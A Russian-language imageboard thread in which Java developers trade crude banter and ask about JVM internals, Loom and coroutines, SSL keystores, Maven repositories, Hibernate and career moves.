Аноним 07/01/22 Птн 14:42:31 2258106924
>>2258029
опять на связь выходишь шиз
Аноним 07/01/22 Птн 15:18:21 2258162925
>>2258106
Шарфе уже блейзор есть
Аноним 07/01/22 Птн 15:19:03 2258164926
07/01/22 Птн 15:20:13 2258166927
>>2258027


>Очень часто в тырпрайзе 100%
Что такое "тырпрайз"?


Аноним 07/01/22 Птн 15:22:50 2258173928
>>2258166
Это среда обитания жабы.
07/01/22 Птн 15:26:30 2258182929
>>2258173
В каком смысле?
Среда разработки?
Аноним 07/01/22 Птн 15:31:12 2258194930
>>2258182
Можно и так сказать в некотором смысле.
teacher 07/01/22 Птн 15:39:55 2258207931
Устал писать на джаве, потому что вокруг одни дауны на этом языке пишут. Стоит перекатываться в скалу?
Аноним 07/01/22 Птн 15:43:09 2258212932
>>2258207
Если нужно, чтобы вокруг были не дауны, перекатывайся в датасаенс.
07/01/22 Птн 16:31:18 2258263933
>>2258207
А на скале есть работа?
Аноним 07/01/22 Птн 16:55:58 2258289934
>>2258027
>Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.

Апплеты и флеш уже давным давно никто не поддерживает. Ну, может только разве Internet explorer времен винды7, но не более того. Сейчас даже в энтерпрайзах отказались от апплтов и флеша.
Аноним 07/01/22 Птн 16:57:15 2258290935
>>2258207
А в чем даунизм проявляется? Можешь рассказать? А то все вокруг только и говорят об одебилевших 30 летних вкатывальщиков с заводов, это правда?
Аноним 07/01/22 Птн 16:59:38 2258294936
Аноним 07/01/22 Птн 19:06:38 2258546937
А есть по JVM какая-нибудь добротная книга, где разбирают всё до уровня байт-кода?
Аноним 07/01/22 Птн 19:14:37 2258562938
Аноним 07/01/22 Птн 19:21:12 2258569939
>>2258562
Вот по шарпу есть книга Рихтера CLR via C#. Надо такую же, но JVM via Java.
teacher 07/01/22 Птн 19:36:56 2258584940
>>2258290
У меня вся команда из них, а меня тимлидом для них взяли ))
teacher 07/01/22 Птн 19:38:31 2258586941
>>2258212
Я математику любил, до того как в компанию свою попал.. там всё это было не нужно и забылось. Но может быть пора древнему знанию пробудиться.. Спасибо за совет
teacher 07/01/22 Птн 19:39:06 2258587942
>>2258263
Работа всегда есть
Аноним 07/01/22 Птн 19:42:29 2258590943
>>2258546
>>2258569
Единой книги нет. Есть статьи шипилева https://shipilev.net/jvm/anatomy-quarks/

Есть книжки средней паршивости здесь
https://www.java67.com/2019/08/best-books-to-learn-java-virtual-machine-in-depth.html

Думаю, этого более чем хватит. Тем более, что саму jvm особого смысла изучать нет, ну только если ты собираешься пилить эту самую jvm в дальнейшем в амазон коррето и оракл нужны люди
Аноним 07/01/22 Птн 19:43:32 2258591944
>>2258584
Команда из нескольких джунов и одного тимлида.

А с другой стороны, в чем тупость бывших заводчан?
Аноним 07/01/22 Птн 19:52:53 2258602945
>>2258591
В том что их наняли как синьоров, а они кроме крудов ничего не писали никогда. Можешь представить, сколько приходится с каждым сидеть, когда надо сделать чтото за рамками рест апи и похода в базу..
Аноним 07/01/22 Птн 19:57:55 2258612946
>>2258602
А вы на жабе что-то кроме крудов пишете? Что именно, если не секрет, хотя бы в общих чертах?
ИМХО, возьми любого джависта с опытом и пусть даже высшим образованием, то он вряд ли кроме крудов и походов в базу что-то сумеет сделать.

>>2258602
>их наняли как синьоров
Сбер что-ли?
Аноним 07/01/22 Птн 20:43:35 2258676947
>>2258612
Не банки. В двух словах: парсим интернет, инфу продаем.
Я заметил, что толковые джависты нынче лидами сидят многие из, что я знаю. Либо ушли в другие языки, чтобы поинтереснее задачи решать
Аноним 07/01/22 Птн 20:58:42 2258701948
Как писать тесты для проекта который сам по себе является REPL-интерпретатором, требующим пользовательского ввода (через System.in, например)?
Аноним 07/01/22 Птн 21:00:05 2258702949
>>2258701
System.in = new FileInputStream("zalupa.txt")
Аноним 07/01/22 Птн 21:01:04 2258704950
.png 39Кб, 756x441
756x441
Здравствуй, джавач! Пора строить в экселе график постов в день за последние пять тредов.
Аноним 07/01/22 Птн 21:01:03 2258705951
>>2258676
>Либо ушли в другие языки, чтобы поинтереснее задачи решать
В гоуленг что-ли? Или даже в С++?
Аноним 07/01/22 Птн 21:02:34 2258707952
>>2258701
Скармливать ему данные напрямую без пользовательского ввода?
Аноним 07/01/22 Птн 21:03:48 2258709953
>>2258702
Спасибо, а что так можно было?
Аноним 07/01/22 Птн 21:21:53 2258730954
>>2258709
Не знаю, попробуй и скажи. Вообще-то по хорошему твой репл должен принимать инпут стрим в качестве параметра.
Аноним 07/01/22 Птн 21:31:02 2258737955
>>2258730
Ок, попробую, спасибо.
Аноним 07/01/22 Птн 23:12:30 2258812956
Help! SSL-нуб ITT

Короче, нужно сделать keystore.jks. Мне выдали сертификат, а именно файлы:

certificate.crt (x509 pem)
certificate_ca.crt
certificate.der
certificate_request.csr
certificate.p7b

Далее, я пытаюсь по гайдам из интернета сконвертировать сертификат в формат pkcs12 командой:

openssl pkcs12 -export -in certificate.crt -inkey <???> -out certificate.p12 -name "certificate"

Вот там вместо <???> нужен приватный ключ? Где его взять? Сгенерить самому из чего-то?

Можно как-то быстро решить или я тупой дебил и надо по-любому идти курить матчасть по SSL с самых основ?


Аноним 07/01/22 Птн 23:44:37 2258835957
>>2258812
Ты хочешь сделать самоподписанный сертификат или просто засунуть его в кейстрок?
Аноним 08/01/22 Суб 00:00:01 2258839958
>>2258835
> самоподписанный
Нет, у меня вот как раз эти файлы что я привел уже есть. Я их получил from somewhere, но приватного ключа я среди них не нашел. Толи я тупой и все перепутал.

Так что да, сгенерить jks и засунуть в него.

Когда получал сертификаты с Let's encrypt, там были файлы cert.pem и privatekey.pem, и с ними у меня таки получилось разобраться. А вот с текущими файлами хз что делать.
Аноним 08/01/22 Суб 01:21:02 2258889959
>>2258812
Зачем ты пытаешься что-то сгенерировать? crt файл разве не импортируется в кейстор?
Аноним 08/01/22 Суб 07:17:24 2258961960
Аноним 08/01/22 Суб 12:40:27 2259079961
Аноним 08/01/22 Суб 12:41:09 2259080962
Аноним 08/01/22 Суб 13:23:10 2259132963
java3.png 126Кб, 503x711
503x711
java2.png 166Кб, 503x711
503x711
java.jpg 246Кб, 503x711
503x711
java1.png 180Кб, 427x604
427x604
Куда годную шапку то проебали?!
Аноним 08/01/22 Суб 15:35:59 2259332964
Аноним 08/01/22 Суб 15:46:49 2259348965
>>2259132
При том, что нормальных IDE для Java толком нет.
Аноним 08/01/22 Суб 15:46:57 2259349966
>>2259332
Ок, сейчас попробую, спасибо.
Аноним 08/01/22 Суб 15:59:21 2259380967
>>2259348
Согласен, спасает только Vim с плагинами
Аноним 08/01/22 Суб 16:09:37 2259392968
>>2258961
https://mail.openjdk.java.net/pipermail/loom-dev/

Еще можно пощупать лум в превью билдах, но они увы все еще не стабильны для работы в проде.

Вроде как работа идет на протяжении 4 лет, лол, надеюсь через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS версию. Вообще интересно, где-нибудь кроме Go появились зеленые потоки за это время?
Аноним 08/01/22 Суб 16:15:59 2259399969
>>2259392
> где-нибудь кроме Go появились зеленые потоки за это время?
В остальных языках привыкли к ебле с async/await.
Аноним 08/01/22 Суб 16:18:02 2259402970
>>2259392
>через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS
К этому времени никто уже на джаве писать не будет
Аноним 08/01/22 Суб 16:19:01 2259403971
Пиздец как хочется написать свой DI-контейнер на процессорах аннотаций, чтобы строить граф зависимостей сразу в компайл тайме, но времени вообще нет. Может кто-то хочет присоединится?
Аноним 08/01/22 Суб 16:22:18 2259407972
>>2259403
Так давно написан уже. Dagger 2 называется
Аноним 08/01/22 Суб 16:22:48 2259408973
>>2259402
Два года назад ты говорил то же самое, но не сбылось, так что к тебе больше нет доверия.
Аноним 08/01/22 Суб 16:28:09 2259415974
>>2259407
Там хуйни какой-то напридумывали, так что он очень сложный.
Аноним 08/01/22 Суб 16:28:57 2259416975
>>2259415
Как раз его сложность вытекает из-за требования строить граф зависимостей в рантайме
Аноним 08/01/22 Суб 16:31:38 2259422976
>>2259402
А на чем будут писать?
Аноним 08/01/22 Суб 16:32:30 2259425977
Аноним 08/01/22 Суб 16:32:34 2259426978
Аноним 08/01/22 Суб 16:32:36 2259427979
>>2259416
Я с ним не работал, так что могу чего-то не понимать, но там как будто бы слишком много аннотаций под специфичные случаи. В итоге ментальная модель получается куда сложнее, чем у спринга (ванильного). Может я ошибаюсь, и это мнение у меня сложилось из-за наличия опыта на спринге. Но в общем мне бы хотелось что-то более простое сделать.
Аноним 08/01/22 Суб 16:34:57 2259429980
Аноним 08/01/22 Суб 16:36:51 2259431981
>>2259399
В чем вообще разница между зелеными потоками в Го, корутинами в котлине и async await в шарпе?
Аноним 08/01/22 Суб 18:50:32 2259588982
VngOu2O5FXA.png 60Кб, 796x726
796x726
Как теперь юзать logback?
На пикрил последняя версия, красным видно что есть vulnerabilities from dependencies. Это ОК или такое нельзя юзать?
Аноним 08/01/22 Суб 19:02:24 2259603983
>>2259588
Лол, че эт они там напридумывали?
Аноним 08/01/22 Суб 20:06:56 2259655984
Ни один местный логгерошизик без гугления не пояснит, чем их говно лучше java.util.logging.
Аноним 08/01/22 Суб 22:27:49 2259752985
Аноним 08/01/22 Суб 22:48:10 2259764986
Please help, SSL-нуб на связи.
Задача: сделать maven репозиторий, доступный для всех из интернета.

Поднял по общедоступному URL-у self-hosted maven repository с поддержкой SSL. Сертификат от Let's Encrypt.

У репозитория есть фронтенд, который отлично работает через браузер по HTTPS.
Но mvn-клиент с этим репозиторием работать не хочет. В pom.xml прописан URL репозитория c https:// и при попытке подтянуть зависимость, падает с ошибкой:

PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

Я знаю, что можно указать для mvn-клиента keystore.jks, но неужели это единственный способ заставить его поверить серверному сертификату от Let's Encrypt?

P.S. Между прочим, даже сайт maven.apache.org имеет сертификат от Let's Encrypt.
Аноним 08/01/22 Суб 23:04:22 2259777987
>>2259764
>сделать maven репозиторий, доступный для всех из интернета.
нахуя
Аноним 08/01/22 Суб 23:14:56 2259786988
>>2259431
Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже).
В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.

Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но.
Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени).
Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).

Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
Аноним 08/01/22 Суб 23:21:37 2259790989
Аноним 08/01/22 Суб 23:23:22 2259791990
Аноним 08/01/22 Суб 23:27:52 2259793991
>>2259790
>>2259791

Получилось, спасибо! Суть моей проблемы была один в один как у этого чела со stackoverflow.

>>2259777
Чтоб можно было публиковать свои зависимости отдельно от Maven Central.
Аноним 08/01/22 Суб 23:33:50 2259795992
>>2259793
>Чтоб можно было публиковать свои зависимости отдельно от Maven Central.
Может быть тебе хватило бы https://jitpack.io/?
Аноним 08/01/22 Суб 23:46:03 2259798993
>>2259795
Для текущей задачи не подходит, т.к. проекты не на GitHub, а на self-hosted git server, но штука, видимо, крутая.
Можно в качестве зависимости прямо ссылку на проект в GitHub указывать что ли?
Аноним 08/01/22 Суб 23:49:28 2259799994
Аноним 08/01/22 Суб 23:59:23 2259802995
>>2259799

> Self-hosted Git servers like GitLab are also supported. You can register your server on your user page.
Реально. Круто, спасибо, возьму на заметку.

У меня железный сервер в виде старого ноута прямо дома стоит и смотрит в интернет, и я его люблю. Правда если он вдруг накроется - всему капец

Аноним 09/01/22 Вск 14:44:12 2260145996
привет всем. 8 издание шилдта актуально?
Аноним 09/01/22 Вск 16:47:45 2260268997
>>2260145
Нет, актуальны только те, где рассказывают про 8 жабу.
Аноним 09/01/22 Вск 18:30:25 2260357998
>>2260268
Уже 17 жава вышла лтс
Аноним 09/01/22 Вск 18:48:43 2260376999
>>2260357
Не знал. Гору фич добавили небось
Аноним 09/01/22 Вск 19:06:26 22603871000
>>2260357
Да ну нахуй блять? Скажи плиз это кабанчикам, а то они все уверены, что после 8 жабы и 4 спринга ничего нет.
Аноним 09/01/22 Вск 19:21:09 22604001001
>>2260387
Почему именно 8? Я заметил, что во многих ОС по-умолчанию ставится 11 версия (ставил виртуалки с чистых образов и там уже была жвм). В скором времени заменят на 17.
Аноним 09/01/22 Вск 19:38:59 22604201002
Аноним 09/01/22 Вск 20:55:47 22605381003
Есть какой нибудь годный роадмап по изучению шестого спринга? Может курсы есть хорошие или книги?
Аноним 09/01/22 Вск 20:57:38 22605411004
Аноним 09/01/22 Вск 21:19:57 22605651005
>>2260538
Есть. Открываешь документацию и читаешь от корки до корки
Аноним 09/01/22 Вск 21:42:03 22605861006
>>2260420
вот бы про жабу такой же
Аноним 09/01/22 Вск 21:54:18 22605911007
>>2259786
А что насчет неблокирующего доступа к базе данных? Я так понимаю, что все общение через JDBC блокирует поток, пока данные достаются из недр таблиц и пересылаются через сокеты.
Сейчас есть нормальный способ писать неблокирующую работу с базами данных? Слышал про R2DBC, но он то ли умер, то ли заглох, то ли еще не готов к проду. Так ли это? И почему в JDBC до сих пор не сделали асинхронного доступа к БД, хотя во всяких фреймворках на node.js он уже давно есть?
09/01/22 Вск 22:38:55 22606191008
>>2260591
Есть драйвера от vert.x и даже реактивный хибер. Но там есть свои проблемы
Аноним 10/01/22 Пнд 09:51:06 22607791009
Кто-нить работал с Hibernate? Есть две таблицы, связь many to many, грубо говоря таблица записей и таблица ее тегов. Нужно как-то вставлять запись с тегами, но при вставке записи, у которой уже есть ранее записанный тег, происходит ошибка, из-за того, что вставляется дубликат. Можно как избежать этого?
Аноним 10/01/22 Пнд 13:30:33 22609701010
>>2260779
Ничего не понял. Звучит как-будто ты пытаешься нарушить какой-то констрейнт в бд, поэтому тебе и не даёт вставить
Аноним 10/01/22 Пнд 14:12:41 22610111011
бля че hyperskill так долго все грузит
Аноним 10/01/22 Пнд 14:48:26 22610491012
>>2260779
>Можно как избежать этого?
А зачем тебе дубликаты тегов вставлять? Просто не вставляй их и все.
Аноним 10/01/22 Пнд 15:15:35 22610751013
Обязательно ли вообще этот спринг учить? Помню в универе мы писали сетевые программки без всяких библиотек. Мне даже автомат поставили за лабу со звездочкой.
Аноним 10/01/22 Пнд 15:18:55 22610791014
>>2261075
> сетевые программки без всяких библиотек
Очевидно, что сами сторонние либы как-то написали, и у их авторов не было ничего кроме кора. Но ты же не будешь каждый раз с нуля писать велосипед? Вот и кабан за велосипеды платить не станет.
Аноним 10/01/22 Пнд 15:25:48 22610871015
>>2261079
>Вот и кабан за велосипеды платить не станет.
Гоферам платят же.
Аноним 10/01/22 Пнд 15:30:32 22610881016
>>2261087
Жаба не го, здесь фичи пилить надо, а не экспериментировать ради мифических преимушеств в далёком будущем.
Аноним 10/01/22 Пнд 17:31:31 22611841017
https://habr.com/ru/post/599845/
Ну теперь везде будут искать подобные уязвимости. В конечном итоге придет к тому, что JNDI и RMI - сами по себе уязвимости.
Аноним 10/01/22 Пнд 18:01:18 22612371018
>>2261184
> В конечном итоге придет к тому, что java и jvm - сами по себе уязвимости.
always has been
Аноним 10/01/22 Пнд 18:19:32 22612581019
>>2261184
Теперь все java-программисты останутся без работы? Куда перекатываться? В Шарп?
Аноним 10/01/22 Пнд 18:28:35 22612651020
>>2261258
Да, всех джава-программистов выгонят с работы за плохие решения. Пойдем на го писать ArrayList-ы и CollectionUtils-ы
Аноним 10/01/22 Пнд 19:08:34 22613021021
>>2261258
Очевидный го, хотя бы мозги встанут на место.
Аноним 10/01/22 Пнд 19:24:10 22613281022
>>2261302
Они окончательно атрофируются из-за постоянного занятия копипастой.
Аноним 10/01/22 Пнд 20:01:03 22613661023
image.png 65Кб, 498x265
498x265
>>2261302
>Очевидный го, хотя бы мозги встанут на место.


Аноним 11/01/22 Втр 00:21:37 22615951024
Почему в ChangeSet-ах порядок задается строкой и зачем там имя автора?
Аноним 11/01/22 Втр 01:35:17 22616421025
>>2261595
> Почему в ChangeSet-ах порядок задается строкой
Чтобы были гибкие механизмы наименования и порядка выполнения

> зачем там имя автора?
Чтобы знать к кому обратиться в случае вопросов по ченджсету
Аноним 11/01/22 Втр 02:06:15 22616511026
Анон подскажи пожалуйста. Смотри , есть строка . Например : A -> A -> B ->A , A->B->A, A . Мне нужно ее разделить на три строки. Разделителем служит запятая. Я знаю что можно пройтись по строке как по массиву и копировать символы в массив чаров , пока не дойдем до запятой. Но можно ли эту задачу как то через регулярные выражения решить.
Аноним 11/01/22 Втр 02:15:43 22616581027
>>2261651
Можно решить библиотечным методом String#split(regex)
Аноним 11/01/22 Втр 07:45:37 22617021028
>>2261642
>Чтобы знать к кому обратиться в случае вопросов по ченджсету
По-моему это какая-то надуманная хуйня в тырпрайзной разработке, нет?
Аноним 11/01/22 Втр 07:57:07 22617051029
>>2261702
Конечно надуманная. Сейчас для этого все юзают git blame.
Аноним 11/01/22 Втр 10:00:36 22617431030
>>2261702
Ну если ты петпроект разрабатываешь, то да, неактуально. В других случаях очень актуально, при чём тут git blame? Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся. Ты будешь лезть в код и смотреть кто ченджсет написал? Ага, конечно
Аноним 11/01/22 Втр 12:09:54 22618411031
Такой вопрос:
Если есть класс "A" и "B extends A", и в родителе (А) определен какой-то член value, то как (с точки зрения перформанса) лучше делать конструкторы? Есть вариант в классе "B" сразу сделать конструктор, который принимает все значения его полей, включая наследуемое, оставив при этом в "А" только пустой конструктор, либо лучше в "А" реализовать свой конструктор, и вызывать его через super(value) в конструкторе B?
Вроде как, второй вариант дб получше, типа в любом случае же неявно вызовется путой, и все инициализирует нулями/нулами, и только потом перепишет. Но все же хотелось бы убедиться.
Вызовов планируется оче много, потому хотелось бы оптимально
Аноним 11/01/22 Втр 12:13:55 22618431032
>>2261841
Хороший вопрос, прогони тесты через JMH, плюс кидай сюда байткод обоих вариантов, узнаем всем тредом что-то новое
Аноним 11/01/22 Втр 12:26:09 22618551033
>>2261841
Если твой сетер это тупо присваивание к полю и больше ничего, то без разницы, иначе смотри на логику твоего сетера. Но при инициализации через конструктор можно сделать поля финальными, это слегка оптимизирует работу gc, но в пределах погрешности вряд ли будет хоть какой то вообще профит.
Аноним 11/01/22 Втр 13:38:18 22619201034
>>2261841
Конструктор это просто метод, он точно так же может инлайниться JIT-ом если он маленький.

Но в целом вопрос выглядит немного диковато. Если у тебя создается так много объектов и тебе беспокоит перфоманс - то стоит подумать или о пулинге объектов или о том, чтобы заменить объект на примитивные типы. Потому что GC на весь этот мусор - сожрет весь перформанс.
Аноним 11/01/22 Втр 14:36:39 22620031035
>>2259132
Нетбинс так долго грузит что ли? Я пару раз пробовал, вроде нормально загружался. Там проблема, что он неудобный и надо настраивать после установки.
Аноним 11/01/22 Втр 15:29:33 22620561036
>>2261743
>Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся
Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
Аноним 11/01/22 Втр 15:40:24 22620671037
>>2262003
Этой пикче 10 лет. Есть обновленная версия, там всё на своих местах.
Аноним 11/01/22 Втр 15:52:51 22620801038
>>2262056
>Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
По сообщению об ошибке.
Аноним 11/01/22 Втр 16:35:29 22621171039
А вы смотрите Лёшу Корепанова?
Аноним 11/01/22 Втр 16:40:18 22621191040
>>2262117
Твой протыкласник?
Аноним 11/01/22 Втр 16:41:16 22621201041
>>2262119
Нет, у него уже 20 лет опыта разработки на Java
Аноним 11/01/22 Втр 16:54:18 22621271042
Аноним 11/01/22 Втр 18:05:29 22621931043
>>2262127
С чего это он должен быть на Котлине!? На джаве уже много лет пишут проги под андроид и будут писать. Ей принадлежит 99% всей мобильной разработки.
Аноним 11/01/22 Втр 20:35:54 22623261044
посоветуйте вкатышу простенькие консольные проекты. куда не смотрю - везде одни хуйни с интерфейсами, но мне кажется, что рано делать с интерфейсами, надо сначала разобраться без них как все работает
Аноним 11/01/22 Втр 20:37:21 22623271045
javapixel.jpg 119Кб, 762x655
762x655
Я научился выводить пиксели на экран!
Аноним 11/01/22 Втр 20:37:27 22623281046
>>2262117
да, пиздатые видео снимает
Аноним 11/01/22 Втр 20:40:43 22623301047
>>2262326
Строчный текстовый редактор
Аноним 11/01/22 Втр 20:58:21 22623391048
Аноним 11/01/22 Втр 21:31:06 22623611049
>>2262327
Извиняюсь за вопрос, но нахуя?
Аноним 11/01/22 Втр 21:50:32 22623771050
>>2262327
Класс! Не думал о карьере игрового разработчика?
Аноним 11/01/22 Втр 22:04:19 22623901051
>>2262067

>всё на своих местах.

Надеюсь петухи на месте хоть?
Аноним 12/01/22 Срд 08:12:50 22625481052
>>2262361
>>2262377
Нет, я буду писать эмулятор старых 8-битных ЭВМ.
Аноним 12/01/22 Срд 08:20:53 22625511053
>>2262548
Опять выходишь на связь?
Аноним 12/01/22 Срд 10:23:10 22626101054
>>2262548
Это не тебе беззнаковый байт нужен был? Чому не возьмешь байтоёбский язык?
Аноним 12/01/22 Срд 11:01:00 22626501055
>>2262551
>>2262610
Как вы меня так быстро раскусили?
Мне нужна кроссплатформа, что бы всё работала на винде и в линупсе. Я думал в ноябре выпустят MAUI для дотнета, но микрософты обманули. Поэтому сейчас учу джаву.
Аноним 12/01/22 Срд 11:17:36 22626641056
>>2262650
Kotlin Native бери, чушка. Там беззнаковые типы даже есть.
Аноним 12/01/22 Срд 11:26:02 22626741057
>>2262650
Не знаю что из себя представляет эмулятор эвм, но удачи тебе.
Аноним 12/01/22 Срд 12:55:18 22627481058
Аноним 12/01/22 Срд 13:02:37 22627571059
>>2262548
Охуенно актуальная штука!
Аноним 12/01/22 Срд 13:15:08 22627621060
Зачем так рано тред перекатили? До двух тысяч постов давайте здесь писать, а потом в новый уйдем, если его еще не потрут к тому моменту.
Аноним 12/01/22 Срд 13:38:33 22627971061
>>2262664
А UI на SDL ебошить! Отличный план!
Аноним 13/01/22 Чтв 17:55:37 22642271062
>>2262650
>MAUI для дотнета, но микрософты обманули

Если я все помню, то там официальной поддержки линукса не было. Только винда, мобилки и макось. А линукс "поддержка на уровне коммьюнити", то есть никакой. Gtk# и какие-то формочки в Mono есть - вот и жрите, хуле не нравится.
А я сам хотел на шарпе пописать под линукс десктоп, потому что на шарпе гораздо приятнее писать, чем на том же С++ под Qt.
В итоге приходится писать на старом, древнем, помойном легасном Swing/AWT.
Аноним 13/01/22 Чтв 18:33:48 22642931063
>>2264227
> старом, древнем, помойном легасном Swing/AWT.
Так пиши на новом, молодежном, инновационном JavaFX.
Аноним 13/01/22 Чтв 18:51:07 22643161064
Аноним 13/01/22 Чтв 18:59:07 22643261065
>>2264316
Чому? Живее свинга в любом случае. В сентябре последний релиз был, а репа каждый день обновляется.
Аноним 13/01/22 Чтв 20:26:06 22643861066
>>2264326
Все равно популярность у свинга значительно больше. Всяких туториалов и либ для свинга больше. Да и он в jdk и jre есть, не нужно дополнительные жарники за собой возить.
Вообще, надеюсь и свинг выпилят к 2025 году в отдельную библиотеку.
Аноним 14/01/22 Птн 03:13:21 22646061067
Такой вопрос пацаны. Касается веб разработки. Я уже год кожу на джаве , есть пару проектов на спринге. Есть друг фронтендер , с которым проекты пилил , советует мне перекатиться на питон. Суть в том что я как бы не хочу , мне нравится джава. Есть ли у питона и его фрэймворков реальные преимущества что бы учиться писать бэк на нем ? Ну и объективно что лучше/хуже.
Аноним 17/01/22 Пнд 19:14:56 22681001068
Отображать в квери параметрах русские слова нормально? Типа ?name=фу%20бар%20биз
Аноним 18/01/22 Втр 18:14:00 22692631069
Аноны,как лучше хранить коллекции в дтошках? И как заполнять? Тупо передавать лист с айдишниками? Как тогда потом получать реальные объекты?
Аноним 18/01/22 Втр 20:46:32 22694081070
>>2269263
Анон, дтошка на то и дтошка, что она хранит временно и сейчас хоть ты из бд бери, хоть из инета jsonом получай - все автоматически маппится с помощью библиотек типо jackson. Ну если совсем пиздец типо jdbcTemplate - ручками перегоняешь rowSet в дтошку и нужные тебе коллекции.

Конечно можно и только id хранить, а потом с помощью сложного запроса доставать определенный объект, но это два запроса и это как по мне хуйня идея.

Аноним 19/01/22 Срд 02:33:19 22698281071
Народ,как график зп в базе хранить?А в коде? Чет мне кажется это совсем какая-то хуйня получится
Аноним 20/01/22 Чтв 01:31:24 22711101072
>>2260779
Делать апдейт, а не вставку
покажи что пытаешься сделать
Аноним 20/01/22 Чтв 04:22:22 22711301073
Ваадин кусок говна ебучего,даже из коробки хуй запуститься может
Аноним 21/01/22 Птн 16:20:53 22724051074
>>2264606
На питоне в разы больше манки джоб
Аноним 05/02/22 Суб 12:56:54 22875221075
Сап двачек, я инфантильный кусок говна, но вроде не тупой окончил бамонку, да и с математикой вроде не плохо, работаю на манагерской должности в кулл центре. Сутра на работу опять пиздос труд облагораживает человека и другие вытекающие из жопы. Так вот, хотел вкатиться в прогеры есть такая пожилая креветка как Сергей Немчинский, у него есть курс, деньги у меня есть немного не мало, стоит ли туда вписаться ? И с чего можно начать ? Помогите плз, либо дайте ссылочку на тред где и как для тупых ебланов все объясняется. Сам на дваче не давно, хз что да как.

P.S Знаю двач все хуесосят за токсичность, но на мой взгляд по сравнению с выродками из тг каналов всяких всратых прогерских форумах и вк скотов тут не так уж и плохо, помогите плз.
Аноним 13/02/22 Вск 14:27:31 22958711076
Аноним 27/02/22 Вск 15:01:06 23075051077
Тут есть люди которые работали со спрингом и со спарком? Что по вашему мнению интереснее и перспективнее? Заметил что многие перекатываются в бигдату со сприга, даже тот самый Борисов.
Аноним 16/03/22 Срд 15:42:50 23177291078
девушка-gamer-и[...].jpg 50Кб, 800x533
800x533
Сап двуч, помогите столкнулся с такой проблемой:

Когда кидаю исключение expected. у меня подсвечивается красным expected и пишет can't resolve method . Как решить проблему?
@Test( expected = IndexOutOfBoundsException.class)
public void testFooThrowsIndexOutOfBoundsException() {
foo.doStuff();
}
PS: Intellij IDEA.
Аноним 07/07/22 Чтв 13:50:41 23986221079
пишу в до-СВО треде времен, когда по джаве было больше 5к вакансий на хх.ру......
Настройки X
Ответить в тред X
15000
Макс объем: 40Mб, макс кол-во файлов: 4
Кликни/брось файл/ctrl-v
Стикеры X
Избранное / Топ тредов